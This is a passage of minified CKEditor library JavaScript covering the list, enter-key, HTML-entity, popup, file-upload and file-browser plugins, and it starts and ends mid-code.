l.getName()||(l=a[m].parent.clone(!1,1),e&&l.setAttribute("dir",e),h.append(l));q=l.append(I.element.clone(0,1));w!=l.getDirection(1)&&q.setAttribute("dir",w);for(f=0;f<I.contents.length;f++)q.append(I.contents[f].clone(1,1));m++}else if(I.indent==Math.max(p,0)+1)I=a[m-1].element.getDirection(1),m=CKEDITOR.plugins.list.arrayToList(a,null,m,c,I!=w?w:null),!q.getChildCount()&&CKEDITOR.env.needsNbspFiller&&7>=g.$.documentMode&&q.append(g.createText(" ")),q.append(m.listNode),m=m.nextIndex;else if(-1==
I.indent&&!d&&f){k[f.getName()]?(q=I.element.clone(!1,!0),w!=f.getDirection(1)&&q.setAttribute("dir",w)):q=new CKEDITOR.dom.documentFragment(g);var l=f.getDirection(1)!=w,K=I.element,C=K.getAttribute("class"),L=K.getAttribute("style"),Q=q.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT&&(c!=CKEDITOR.ENTER_BR||l||L||C),O,X=I.contents.length,T;for(f=0;f<X;f++)if(O=I.contents[f],n(O)&&1<X)Q?T=O.clone(1,1):q.append(O.clone(1,1));else if(O.type==CKEDITOR.NODE_ELEMENT&&O.isBlockBoundary()){l&&!O.getDirection()&&
O.setAttribute("dir",w);F=O;var Y=K.getAttribute("style");Y&&F.setAttribute("style",Y.replace(/([^;])$/,"$1;")+(F.getAttribute("style")||""));C&&O.addClass(C);F=null;T&&(q.append(T),T=null);q.append(O.clone(1,1))}else Q?(F||(F=g.createElement(M),q.append(F),l&&F.setAttribute("dir",w)),L&&F.setAttribute("style",L),C&&F.setAttribute("class",C),T&&(F.append(T),T=null),F.append(O.clone(1,1))):q.append(O.clone(1,1));T&&((F||q).append(T),T=null);q.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT&&m!=a.length-1&&(CKEDITOR.env.needsBrFiller&&
(w=q.getLast())&&w.type==CKEDITOR.NODE_ELEMENT&&w.is("br")&&w.remove(),(w=q.getLast(r))&&w.type==CKEDITOR.NODE_ELEMENT&&w.is(CKEDITOR.dtd.$block)||q.append(g.createElement("br")));w=q.$.nodeName.toLowerCase();"div"!=w&&"p"!=w||q.appendBogus();h.append(q);l=null;m++}else return null;F=null;if(a.length<=m||Math.max(a[m].indent,0)<p)break}if(b)for(a=h.getFirst();a;){if(a.type==CKEDITOR.NODE_ELEMENT&&(CKEDITOR.dom.element.clearMarkers(b,a),a.getName()in CKEDITOR.dtd.$listItem&&(d=a,g=e=c=void 0,c=d.getDirection()))){for(e=
d.getParent();e&&!(g=e.getDirection());)e=e.getParent();c==g&&d.removeAttribute("dir")}a=a.getNextSourceNode()}return{listNode:h,nextIndex:m}}};var q=/^h[1-6]$/,p=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_ELEMENT);b.prototype={exec:function(b){function d(a){return k[a.root.getName()]&&!c(a.root,[CKEDITOR.NODE_COMMENT])}function c(a,b){return CKEDITOR.tools.array.filter(a.getChildren().toArray(),function(a){return-1===CKEDITOR.tools.array.indexOf(b,a.type)}).length}function g(a){var b=!0;if(0===a.getChildCount())return!1;
a.forEach(function(a){if(a.type!==CKEDITOR.NODE_COMMENT)return b=!1},null,!0);return b}this.refresh(b,b.elementPath());var h=b.config,l=b.getSelection(),n=l&&l.getRanges();if(this.state==CKEDITOR.TRISTATE_OFF){var p=b.editable();if(p.getFirst(r)){var q=1==n.length&&n[0];(h=q&&q.getEnclosedNode())&&h.is&&this.type==h.getName()&&this.setState(CKEDITOR.TRISTATE_ON)}else h.enterMode==CKEDITOR.ENTER_BR?p.appendBogus():n[0].fixBlock(1,h.enterMode==CKEDITOR.ENTER_P?"p":"div"),l.selectRanges(n)}for(var h=
l.createBookmarks(!0),p=[],w={},n=n.createIterator(),E=0;(q=n.getNextRange())&&++E;){var J=q.getBoundaryNodes(),H=J.startNode,F=J.endNode;H.type==CKEDITOR.NODE_ELEMENT&&"td"==H.getName()&&q.setStartAt(J.startNode,CKEDITOR.POSITION_AFTER_START);F.type==CKEDITOR.NODE_ELEMENT&&"td"==F.getName()&&q.setEndAt(J.endNode,CKEDITOR.POSITION_BEFORE_END);q=q.createIterator();for(q.forceBrBreak=this.state==CKEDITOR.TRISTATE_OFF;J=q.getNextParagraph();)if(!J.getCustomData("list_block")&&!g(J)){CKEDITOR.dom.element.setMarker(w,
J,"list_block",1);for(var M=b.elementPath(J),H=M.elements,F=0,M=M.blockLimit,I,K=H.length-1;0<=K&&(I=H[K]);K--)if(k[I.getName()]&&M.contains(I)){M.removeCustomData("list_group_object_"+E);(H=I.getCustomData("list_group_object"))?H.contents.push(J):(H={root:I,contents:[J]},p.push(H),CKEDITOR.dom.element.setMarker(w,I,"list_group_object",H));F=1;break}F||(F=M,F.getCustomData("list_group_object_"+E)?F.getCustomData("list_group_object_"+E).contents.push(J):(H={root:F,contents:[J]},CKEDITOR.dom.element.setMarker(w,
F,"list_group_object_"+E,H),p.push(H)))}}for(I=[];0<p.length;)H=p.shift(),this.state==CKEDITOR.TRISTATE_OFF?d(H)||(k[H.root.getName()]?a.call(this,b,H,w,I):f.call(this,b,H,I)):this.state==CKEDITOR.TRISTATE_ON&&k[H.root.getName()]&&!d(H)&&e.call(this,b,H,w);for(K=0;K<I.length;K++)m(I[K]);CKEDITOR.dom.element.clearAllMarkers(w);l.selectBookmarks(h);b.focus()},refresh:function(a,b){var d=b.contains(k,1),c=b.blockLimit||b.root;d&&c.contains(d)?this.setState(d.is(this.type)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF):
this.setState(CKEDITOR.TRISTATE_OFF)}};CKEDITOR.plugins.add("list",{requires:"indentlist",init:function(a){a.blockless||(a.addCommand("numberedlist",new b("numberedlist","ol")),a.addCommand("bulletedlist",new b("bulletedlist","ul")),a.ui.addButton&&(a.ui.addButton("NumberedList",{label:a.lang.list.numberedlist,command:"numberedlist",directional:!0,toolbar:"list,10"}),a.ui.addButton("BulletedList",{label:a.lang.list.bulletedlist,command:"bulletedlist",directional:!0,toolbar:"list,20"})),a.on("key",
function(b){var c=b.data.domEvent.getKey(),e;if("wysiwyg"==a.mode&&c in{8:1,46:1}){var f=a.getSelection().getRanges()[0],g=f&&f.startPath();if(f&&f.collapsed){var m=8==c,n=a.editable(),p=new CKEDITOR.dom.walker(f.clone());p.evaluator=function(a){return r(a)&&!w(a)};p.guard=function(a,b){return!(b&&a.type==CKEDITOR.NODE_ELEMENT&&a.is("table"))};c=f.clone();if(m){var q;(q=g.contains(k))&&f.checkBoundaryOfElement(q,CKEDITOR.START)&&(q=q.getParent())&&q.is("li")&&(q=d(q))?(e=q,q=q.getPrevious(r),c.moveToPosition(q&&
w(q)?q:e,CKEDITOR.POSITION_BEFORE_START)):(p.range.setStartAt(n,CKEDITOR.POSITION_AFTER_START),p.range.setEnd(f.startContainer,f.startOffset),(q=p.previous())&&q.type==CKEDITOR.NODE_ELEMENT&&(q.getName()in k||q.is("li"))&&(q.is("li")||(p.range.selectNodeContents(q),p.reset(),p.evaluator=h,q=p.previous()),e=q,c.moveToElementEditEnd(e),c.moveToPosition(c.endPath().block,CKEDITOR.POSITION_BEFORE_END)));if(e)l(a,c,f),b.cancel();else{var E=g.contains(k);E&&f.checkBoundaryOfElement(E,CKEDITOR.START)&&(e=
E.getFirst(r),f.checkBoundaryOfElement(e,CKEDITOR.START)&&(q=E.getPrevious(r),d(e)?q&&(f.moveToElementEditEnd(q),f.select()):a.execCommand("outdent"),b.cancel()))}}else if(e=g.contains("li")){if(p.range.setEndAt(n,CKEDITOR.POSITION_BEFORE_END),m=(n=e.getLast(r))&&h(n)?n:e,g=0,(q=p.next())&&q.type==CKEDITOR.NODE_ELEMENT&&q.getName()in k&&q.equals(n)?(g=1,q=p.next()):f.checkBoundaryOfElement(m,CKEDITOR.END)&&(g=2),g&&q){f=f.clone();f.moveToElementEditStart(q);if(1==g&&(c.optimize(),!c.startContainer.equals(e))){for(e=
c.startContainer;e.is(CKEDITOR.dtd.$inline);)E=e,e=e.getParent();E&&c.moveToPosition(E,CKEDITOR.POSITION_AFTER_END)}2==g&&(c.moveToPosition(c.endPath().block,CKEDITOR.POSITION_BEFORE_END),f.endPath().block&&f.moveToPosition(f.endPath().block,CKEDITOR.POSITION_AFTER_START));l(a,c,f);b.cancel()}}else p.range.setEndAt(n,CKEDITOR.POSITION_BEFORE_END),(q=p.next())&&q.type==CKEDITOR.NODE_ELEMENT&&q.is(k)&&(q=q.getFirst(r),g.block&&f.checkStartOfBlock()&&f.checkEndOfBlock()?(g.block.remove(),f.moveToElementEditStart(q),
f.select()):d(q)?(f.moveToElementEditStart(q),f.select()):(f=f.clone(),f.moveToElementEditStart(q),l(a,c,f)),b.cancel());setTimeout(function(){a.selectionChange(1)})}}}))}})})();(function(){function a(a,b,d){d=a.config.forceEnterMode||d;if("wysiwyg"==a.mode){b||(b=a.activeEnterMode);var c=a.elementPath();c&&!c.isContextFor("p")&&(b=CKEDITOR.ENTER_BR,d=1);a.fire("saveSnapshot");b==CKEDITOR.ENTER_BR?h(a,b,null,d):l(a,b,null,d);a.fire("saveSnapshot")}}function f(a){a=a.getSelection().getRanges(!0);for(var b=
a.length-1;0<b;b--)a[b].deleteContents();return a[0]}function e(a){var b=a.startContainer.getAscendant(function(a){return a.type==CKEDITOR.NODE_ELEMENT&&"true"==a.getAttribute("contenteditable")},!0);if(a.root.equals(b))return a;b=new CKEDITOR.dom.range(b);b.moveToRange(a);return b}CKEDITOR.plugins.add("enterkey",{init:function(b){b.addCommand("enter",{modes:{wysiwyg:1},editorFocus:!1,exec:function(b){a(b)}});b.addCommand("shiftEnter",{modes:{wysiwyg:1},editorFocus:!1,exec:function(b){a(b,b.activeShiftEnterMode,
1)}});b.setKeystroke([[13,"enter"],[CKEDITOR.SHIFT+13,"shiftEnter"]])}});var b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.dom.walker.bookmark(),m,h,l,d;CKEDITOR.plugins.enterkey={enterBlock:function(a,g,l,m){function w(a){var b;if(a===CKEDITOR.ENTER_BR||-1===CKEDITOR.tools.indexOf(["td","th"],x.lastElement.getName())||1!==x.lastElement.getChildCount())return!1;a=x.lastElement.getChild(0).clone(!0);(b=a.getBogus())&&b.remove();return a.getText().length?!1:!0}if(l=l||f(a)){l=e(l);var q=l.document,
p=l.checkStartOfBlock(),u=l.checkEndOfBlock(),x=a.elementPath(l.startContainer),t=x.block,B=g==CKEDITOR.ENTER_DIV?"div":"p",v;if(t&&p&&u){p=t.getParent();if(p.is("li")&&1<p.getChildCount()){q=new CKEDITOR.dom.element("li");v=a.createRange();q.insertAfter(p);t.remove();v.setStart(q,0);a.getSelection().selectRanges([v]);return}if(t.is("li")||t.getParent().is("li")){t.is("li")||(t=t.getParent(),p=t.getParent());v=p.getParent();l=!t.hasPrevious();var y=!t.hasNext();m=a.getSelection();var B=m.createBookmarks(),
z=t.getDirection(1),u=t.getAttribute("class"),A=t.getAttribute("style"),D=v.getDirection(1)!=z;a=a.enterMode!=CKEDITOR.ENTER_BR||D||A||u;if(v.is("li"))l||y?(l&&y&&p.remove(),t[y?"insertAfter":"insertBefore"](v)):t.breakParent(v);else{if(a)if(x.block.is("li")?(v=q.createElement(g==CKEDITOR.ENTER_P?"p":"div"),D&&v.setAttribute("dir",z),A&&v.setAttribute("style",A),u&&v.setAttribute("class",u),t.moveChildren(v)):v=x.block,l||y)v[l?"insertBefore":"insertAfter"](p);else t.breakParent(p),v.insertAfter(p);
else if(t.appendBogus(!0),l||y)for(;q=t[l?"getFirst":"getLast"]();)q[l?"insertBefore":"insertAfter"](p);else for(t.breakParent(p);q=t.getLast();)q.insertAfter(p);t.remove()}m.selectBookmarks(B);return}if(t&&t.getParent().is("blockquote")){t.breakParent(t.getParent());t.getPrevious().getFirst(CKEDITOR.dom.walker.invisible(1))||t.getPrevious().remove();t.getNext().getFirst(CKEDITOR.dom.walker.invisible(1))||t.getNext().remove();l.moveToElementEditStart(t);l.select();return}}else if(t&&t.is("pre")&&
!u){h(a,g,l,m);return}if(A=l.splitBlock(B)){a=A.previousBlock;t=A.nextBlock;p=A.wasStartOfBlock;u=A.wasEndOfBlock;t?(y=t.getParent(),y.is("li")&&(t.breakParent(y),t.move(t.getNext(),1))):a&&(y=a.getParent())&&y.is("li")&&(a.breakParent(y),y=a.getNext(),l.moveToElementEditStart(y),a.move(a.getPrevious()));if(p||u)if(w(g))l.moveToElementEditStart(l.getTouchedStartNode());else{if(a){if(a.is("li")||!d.test(a.getName())&&!a.is("pre"))v=a.clone()}else t&&(v=t.clone());v?m&&!v.is("li")&&v.renameNode(B):
y&&y.is("li")?v=y:(v=q.createElement(B),a&&(z=a.getDirection())&&v.setAttribute("dir",z));if(q=A.elementPath)for(g=0,m=q.elements.length;g<m;g++){B=q.elements[g];if(B.equals(q.block)||B.equals(q.blockLimit))break;CKEDITOR.dtd.$removeEmpty[B.getName()]&&(B=B.clone(),v.moveChildren(B),v.append(B))}v.appendBogus();v.getParent()||l.insertNode(v);v.is("li")&&v.removeAttribute("value");!CKEDITOR.env.ie||!p||u&&a.getChildCount()||(l.moveToElementEditStart(u?a:v),l.select());l.moveToElementEditStart(p&&!u?
t:v)}else t.is("li")&&(v=l.clone(),v.selectNodeContents(t),v=new CKEDITOR.dom.walker(v),v.evaluator=function(a){return!(c(a)||b(a)||a.type==CKEDITOR.NODE_ELEMENT&&a.getName()in CKEDITOR.dtd.$inline&&!(a.getName()in CKEDITOR.dtd.$empty))},(y=v.next())&&y.type==CKEDITOR.NODE_ELEMENT&&y.is("ul","ol")&&(CKEDITOR.env.needsBrFiller?q.createElement("br"):q.createText(" ")).insertBefore(y)),t&&l.moveToElementEditStart(t);l.select();l.scrollIntoView()}}},enterBr:function(a,b,c,e){if(c=c||f(a)){var h=c.document,
m=c.checkEndOfBlock(),p=new CKEDITOR.dom.elementPath(a.getSelection().getStartElement()),u=p.block,x=u&&p.block.getName();e||"li"!=x?(!e&&m&&d.test(x)?(m=u.getDirection())?(h=h.createElement("div"),h.setAttribute("dir",m),h.insertAfter(u),c.setStart(h,0)):(h.createElement("br").insertAfter(u),CKEDITOR.env.gecko&&h.createText("").insertAfter(u),c.setStartAt(u.getNext(),CKEDITOR.env.ie?CKEDITOR.POSITION_BEFORE_START:CKEDITOR.POSITION_AFTER_START)):(a="pre"==x&&CKEDITOR.env.ie&&8>CKEDITOR.env.version?
h.createText("\r"):h.createElement("br"),c.deleteContents(),c.insertNode(a),CKEDITOR.env.needsBrFiller?(h.createText("").insertAfter(a),m&&(u||p.blockLimit).appendBogus(),a.getNext().$.nodeValue="",c.setStartAt(a.getNext(),CKEDITOR.POSITION_AFTER_START)):c.setStartAt(a,CKEDITOR.POSITION_AFTER_END)),c.collapse(!0),c.select(),c.scrollIntoView()):l(a,b,c,e)}}};m=CKEDITOR.plugins.enterkey;h=m.enterBr;l=m.enterBlock;d=/^h[1-6]$/})();(function(){function a(a,e){var b={},c=[],m={nbsp:" ",shy:"",gt:"\x3e",
lt:"\x3c",amp:"\x26",apos:"'",quot:'"'};a=a.replace(/\b(nbsp|shy|gt|lt|amp|apos|quot)(?:,|$)/g,function(a,d){var f=e?"\x26"+d+";":m[d];b[f]=e?m[d]:"\x26"+d+";";c.push(f);return""});a=a.replace(/,$/,"");if(!e&&a){a=a.split(",");var h=document.createElement("div"),l;h.innerHTML="\x26"+a.join(";\x26")+";";l=h.innerHTML;h=null;for(h=0;h<l.length;h++){var d=l.charAt(h);b[d]="\x26"+a[h]+";";c.push(d)}}b.regex=c.join(e?"|":"");return b}CKEDITOR.plugins.add("entities",{afterInit:function(f){function e(a){return d[a]}
function b(a){return"force"!=c.entities_processNumerical&&h[a]?h[a]:"\x26#"+a.charCodeAt(0)+";"}var c=f.config;if(f=(f=f.dataProcessor)&&f.htmlFilter){var m=[];!1!==c.basicEntities&&m.push("nbsp,gt,lt,amp");c.entities&&(m.length&&m.push("quot,iexcl,cent,pound,curren,yen,brvbar,sect,uml,copy,ordf,laquo,not,shy,reg,macr,deg,plusmn,sup2,sup3,acute,micro,para,middot,cedil,sup1,ordm,raquo,frac14,frac12,frac34,iquest,times,divide,fnof,bull,hellip,prime,Prime,oline,frasl,weierp,image,real,trade,alefsym,larr,uarr,rarr,darr,harr,crarr,lArr,uArr,rArr,dArr,hArr,forall,part,exist,empty,nabla,isin,notin,ni,prod,sum,minus,lowast,radic,prop,infin,ang,and,or,cap,cup,int,there4,sim,cong,asymp,ne,equiv,le,ge,sub,sup,nsub,sube,supe,oplus,otimes,perp,sdot,lceil,rceil,lfloor,rfloor,lang,rang,loz,spades,clubs,hearts,diams,circ,tilde,ensp,emsp,thinsp,zwnj,zwj,lrm,rlm,ndash,mdash,lsquo,rsquo,sbquo,ldquo,rdquo,bdquo,dagger,Dagger,permil,lsaquo,rsaquo,euro"),
c.entities_latin&&m.push("Agrave,Aacute,Acirc,Atilde,Auml,Aring,AElig,Ccedil,Egrave,Eacute,Ecirc,Euml,Igrave,Iacute,Icirc,Iuml,ETH,Ntilde,Ograve,Oacute,Ocirc,Otilde,Ouml,Oslash,Ugrave,Uacute,Ucirc,Uuml,Yacute,THORN,szlig,agrave,aacute,acirc,atilde,auml,aring,aelig,ccedil,egrave,eacute,ecirc,euml,igrave,iacute,icirc,iuml,eth,ntilde,ograve,oacute,ocirc,otilde,ouml,oslash,ugrave,uacute,ucirc,uuml,yacute,thorn,yuml,OElig,oelig,Scaron,scaron,Yuml"),c.entities_greek&&m.push("Alpha,Beta,Gamma,Delta,Epsilon,Zeta,Eta,Theta,Iota,Kappa,Lambda,Mu,Nu,Xi,Omicron,Pi,Rho,Sigma,Tau,Upsilon,Phi,Chi,Psi,Omega,alpha,beta,gamma,delta,epsilon,zeta,eta,theta,iota,kappa,lambda,mu,nu,xi,omicron,pi,rho,sigmaf,sigma,tau,upsilon,phi,chi,psi,omega,thetasym,upsih,piv"),
c.entities_additional&&m.push(c.entities_additional));var h=a(m.join(",")),l=h.regex?"["+h.regex+"]":"a^";delete h.regex;c.entities&&c.entities_processNumerical&&(l="[^ -~]|"+l);var l=new RegExp(l,"g"),d=a("nbsp,gt,lt,amp,shy",!0),k=new RegExp(d.regex,"g");f.addRules({text:function(a){return a.replace(k,e).replace(l,b)}},{applyToAll:!0,excludeNestedEditable:!0})}}})})();CKEDITOR.config.basicEntities=!0;CKEDITOR.config.entities=!0;CKEDITOR.config.entities_latin=!0;CKEDITOR.config.entities_greek=!0;
CKEDITOR.config.entities_additional="#39";CKEDITOR.plugins.add("popup");CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{popup:function(a,f,e,b){f=f||"80%";e=e||"70%";"string"==typeof f&&1<f.length&&"%"==f.substr(f.length-1,1)&&(f=parseInt(window.screen.width*parseInt(f,10)/100,10));"string"==typeof e&&1<e.length&&"%"==e.substr(e.length-1,1)&&(e=parseInt(window.screen.height*parseInt(e,10)/100,10));640>f&&(f=640);420>e&&(e=420);var c=parseInt((window.screen.height-e)/2,10),m=parseInt((window.screen.width-
f)/2,10);b=(b||"location\x3dno,menubar\x3dno,toolbar\x3dno,dependent\x3dyes,minimizable\x3dno,modal\x3dyes,alwaysRaised\x3dyes,resizable\x3dyes,scrollbars\x3dyes")+",width\x3d"+f+",height\x3d"+e+",top\x3d"+c+",left\x3d"+m;var h=window.open("",null,b,!0);if(!h)return!1;try{-1==navigator.userAgent.toLowerCase().indexOf(" chrome/")&&(h.moveTo(m,c),h.resizeTo(f,e)),h.focus(),h.location.href=a}catch(l){window.open(a,null,b,!0)}return!0}});"use strict";(function(){function a(a){this.editor=a;this.loaders=
[]}function f(a,b,f){var l=a.config.fileTools_defaultFileName;this.editor=a;this.lang=a.lang;"string"===typeof b?(this.data=b,this.file=e(this.data),this.loaded=this.total=this.file.size):(this.data=null,this.file=b,this.total=this.file.size,this.loaded=0);f?this.fileName=f:this.file.name?this.fileName=this.file.name:(a=this.file.type.split("/"),l&&(a[0]=l),this.fileName=a.join("."));this.uploaded=0;this.responseData=this.uploadTotal=null;this.status="created";this.abort=function(){this.changeStatus("abort")}}
function e(a){var e=a.match(b)[1];a=a.replace(b,"");a=atob(a);var f=[],l,d,k,g;for(l=0;l<a.length;l+=512){d=a.slice(l,l+512);k=Array(d.length);for(g=0;g<d.length;g++)k[g]=d.charCodeAt(g);d=new Uint8Array(k);f.push(d)}return new Blob(f,{type:e})}CKEDITOR.plugins.add("filetools",{beforeInit:function(b){b.uploadRepository=new a(b);b.on("fileUploadRequest",function(a){var b=a.data.fileLoader;b.xhr.open("POST",b.uploadUrl,!0);a.data.requestData.upload={file:b.file,name:b.fileName}},null,null,5);b.on("fileUploadRequest",
function(a){var e=a.data.fileLoader,f=new FormData;a=a.data.requestData;var d=b.config.fileTools_requestHeaders,k,g;for(g in a){var n=a[g];"object"===typeof n&&n.file?f.append(g,n.file,n.name):f.append(g,n)}f.append("ckCsrfToken",CKEDITOR.tools.getCsrfToken());if(d)for(k in d)e.xhr.setRequestHeader(k,d[k]);e.xhr.send(f)},null,null,999);b.on("fileUploadResponse",function(a){var b=a.data.fileLoader,c=b.xhr,d=a.data;try{var e=JSON.parse(c.responseText);e.error&&e.error.message&&(d.message=e.error.message);
if(e.uploaded)for(var f in e)d[f]=e[f];else a.cancel()}catch(n){d.message=b.lang.filetools.responseError,CKEDITOR.warn("filetools-response-error",{responseText:c.responseText}),a.cancel()}},null,null,999)}});a.prototype={create:function(a,b,e){e=e||f;var l=this.loaders.length;a=new e(this.editor,a,b);a.id=l;this.loaders[l]=a;this.fire("instanceCreated",a);return a},isFinished:function(){for(var a=0;a<this.loaders.length;++a)if(!this.loaders[a].isFinished())return!1;return!0}};f.prototype={loadAndUpload:function(a,
b){var e=this;this.once("loaded",function(f){f.cancel();e.once("update",function(a){a.cancel()},null,null,0);e.upload(a,b)},null,null,0);this.load()},load:function(){var a=this,b=this.reader=new FileReader;a.changeStatus("loading");this.abort=function(){a.reader.abort()};b.onabort=function(){a.changeStatus("abort")};b.onerror=function(){a.message=a.lang.filetools.loadError;a.changeStatus("error")};b.onprogress=function(b){a.loaded=b.loaded;a.update()};b.onload=function(){a.loaded=a.total;a.data=b.result;
a.changeStatus("loaded")};b.readAsDataURL(this.file)},upload:function(a,b){var e=b||{};a?(this.uploadUrl=a,this.xhr=new XMLHttpRequest,this.attachRequestListeners(),this.editor.fire("fileUploadRequest",{fileLoader:this,requestData:e})&&this.changeStatus("uploading")):(this.message=this.lang.filetools.noUrlError,this.changeStatus("error"))},attachRequestListeners:function(){function a(){"error"!=e.status&&(e.message=e.lang.filetools.networkError,e.changeStatus("error"))}function b(){"abort"!=e.status&&
e.changeStatus("abort")}var e=this,f=this.xhr;e.abort=function(){f.abort();b()};f.onerror=a;f.onabort=b;f.upload?(f.upload.onprogress=function(a){a.lengthComputable&&(e.uploadTotal||(e.uploadTotal=a.total),e.uploaded=a.loaded,e.update())},f.upload.onerror=a,f.upload.onabort=b):(e.uploadTotal=e.total,e.update());f.onload=function(){e.update();if("abort"!=e.status)if(e.uploaded=e.uploadTotal,200>f.status||299<f.status)e.message=e.lang.filetools["httpError"+f.status],e.message||(e.message=e.lang.filetools.httpError.replace("%1",
f.status)),e.changeStatus("error");else{for(var a={fileLoader:e},b=["message","fileName","url"],c=e.editor.fire("fileUploadResponse",a),m=0;m<b.length;m++){var r=b[m];"string"===typeof a[r]&&(e[r]=a[r])}e.responseData=a;delete e.responseData.fileLoader;!1===c?e.changeStatus("error"):e.changeStatus("uploaded")}}},changeStatus:function(a){this.status=a;if("error"==a||"abort"==a||"loaded"==a||"uploaded"==a)this.abort=function(){};this.fire(a);this.update()},update:function(){this.fire("update")},isFinished:function(){return!!this.status.match(/^(?:loaded|uploaded|error|abort)$/)}};
CKEDITOR.event.implementOn(a.prototype);CKEDITOR.event.implementOn(f.prototype);var b=/^data:(\S*?);base64,/;CKEDITOR.fileTools||(CKEDITOR.fileTools={});CKEDITOR.tools.extend(CKEDITOR.fileTools,{uploadRepository:a,fileLoader:f,getUploadUrl:function(a,b){var e=CKEDITOR.tools.capitalize;return b&&a[b+"UploadUrl"]?a[b+"UploadUrl"]:a.uploadUrl?a.uploadUrl:b&&a["filebrowser"+e(b,1)+"UploadUrl"]?a["filebrowser"+e(b,1)+"UploadUrl"]+"\x26responseType\x3djson":a.filebrowserUploadUrl?a.filebrowserUploadUrl+
"\x26responseType\x3djson":null},isTypeSupported:function(a,b){return!!a.type.match(b)},isFileUploadSupported:"function"===typeof FileReader&&"function"===typeof(new FileReader).readAsDataURL&&"function"===typeof FormData&&"function"===typeof(new FormData).append&&"function"===typeof XMLHttpRequest&&"function"===typeof Blob})})();(function(){function a(a,b){var d=[];if(b)for(var c in b)d.push(c+"\x3d"+encodeURIComponent(b[c]));else return a;return a+(-1!=a.indexOf("?")?"\x26":"?")+d.join("\x26")}
function f(b){return!b.match(/command=QuickUpload/)||b.match(/(\?|&)responseType=json/)?b:a(b,{responseType:"json"})}function e(a){a+="";return a.charAt(0).toUpperCase()+a.substr(1)}function b(){var b=this.getDialog(),d=b.getParentEditor();d._.filebrowserSe=this;var c=d.config["filebrowser"+e(b.getName())+"WindowWidth"]||d.config.filebrowserWindowWidth||"80%",b=d.config["filebrowser"+e(b.getName())+"WindowHeight"]||d.config.filebrowserWindowHeight||"70%",f=this.filebrowser.params||{};f.CKEditor=d.name;
f.CKEditorFuncNum=d._.filebrowserFn;f.langCode||(f.langCode=d.langCode);f=a(this.filebrowser.url,f);d.popup(f,c,b,d.config.filebrowserWindowFeatures||d.config.fileBrowserWindowFeatures)}function c(a){var b=new CKEDITOR.dom.element(a.$.form);b&&((a=b.$.elements.ckCsrfToken)?a=new CKEDITOR.dom.element(a):(a=new CKEDITOR.dom.element("input"),a.setAttributes({name:"ckCsrfToken",type:"hidden"}),b.append(a)),a.setAttribute("value",CKEDITOR.tools.getCsrfToken()))}function m(){var a=this.getDialog();a.getParentEditor()._.filebrowserSe=
this;return a.getContentElement(this["for"][0],this["for"][1]).getInputElement().$.value&&a.getContentElement(this["for"][0],this["for"][1]).getAction()?!0:!1}function h(b,d,c){var e=c.params||{};e.CKEditor=b.name;e.CKEditorFuncNum=b._.filebrowserFn;e.langCode||(e.langCode=b.langCode);d.action=a(c.url,e);d.filebrowser=c}function l(a,k,w,q){if(q&&q.length)for(var p,u=q.length;u--;)if(p=q[u],"hbox"!=p.type&&"vbox"!=p.type&&"fieldset"!=p.type||l(a,k,w,p.children),p.filebrowser)if("string"==typeof p.filebrowser&&
(p.filebrowser={action:"fileButton"==p.type?"QuickUpload":"Browse",target:p.filebrowser}),"Browse"==p.filebrowser.action){var x=p.filebrowser.url;void 0===x&&(x=a.config["filebrowser"+e(k)+"BrowseUrl"],void 0===x&&(x=a.config.filebrowserBrowseUrl));x&&(p.onClick=b,p.filebrowser.url=x,p.hidden=!1)}else if("QuickUpload"==p.filebrowser.action&&p["for"]&&(x=p.filebrowser.url,void 0===x&&(x=a.config["filebrowser"+e(k)+"UploadUrl"],void 0===x&&(x=a.config.filebrowserUploadUrl)),x)){var t=p.onClick;p.onClick=
function(b){var e=b.sender,k=e.getDialog().getContentElement(this["for"][0],this["for"][1]).getInputElement(),h=CKEDITOR.fileTools&&CKEDITOR.fileTools.isFileUploadSupported;if(t&&!1===t.call(e,b))return!1;if(m.call(e,b)){if("form"!==a.config.filebrowserUploadMethod&&h)return b=a.uploadRepository.create(k.$.files[0]),b.on("uploaded",function(a){var b=a.sender.responseData;g.call(a.sender.editor,b.url,b.message)}),b.on("error",d.bind(this)),b.on("abort",d.bind(this)),b.loadAndUpload(f(x)),"xhr";c(k);
return!0}return!1};p.filebrowser.url=x;p.hidden=!1;h(a,w.getContents(p["for"][0]).get(p["for"][1]),p.filebrowser)}}function d(a){var b={};try{b=JSON.parse(a.sender.xhr.response)||{}}catch(d){}this.enable();alert(b.error?b.error.message:a.sender.message)}function k(a,b,d){if(-1!==d.indexOf(";")){d=d.split(";");for(var c=0;c<d.length;c++)if(k(a,b,d[c]))return!0;return!1}return(a=a.getContents(b).get(d).filebrowser)&&a.url}function g(a,b){var d=this._.filebrowserSe.getDialog(),c=this._.filebrowserSe["for"],
e=this._.filebrowserSe.filebrowser.onSelect;c&&d.getContentElement(c[0],c[1]).reset();if("function"!=typeof b||!1!==b.call(this._.filebrowserSe))if(!e||!1!==e.call(this._.filebrowserSe,a,b))if("string"==typeof b&&b&&alert(b),a&&(c=this._.filebrowserSe,d=c.getDialog(),c=c.filebrowser.target||null))if(c=c.split(":"),e=d.getContentElement(c[0],c[1]))e.setValue(a),d.selectPage(c[0])}CKEDITOR.plugins.add("filebrowser",{requires:"popup,filetools",init:function(a){a._.filebrowserFn=CKEDITOR.tools.addFunction(g,
a);a.on("destroy",function(){CKEDITOR.tools.removeFunction(this._.filebrowserFn)})}});CKEDITOR.on("dialogDefinition",function(a){if(a.editor.plugins.filebrowser)for(var b=a.data.definition,d,c=0;c<b.contents.length;++c)if(d=b.contents[c])l(a.editor,a.data.name,b,d.elements),d.hidden&&d.filebrowser&&(d.hidden=!k(b,d.id,d.filebrowser))})})();(function(){function a(a){var c=a.config,m=a.fire("uiSpace",{space:"top",html:""}).html,h=function(){function g(a,b,c){d.setStyle(b,e(c));d.setStyle("position",
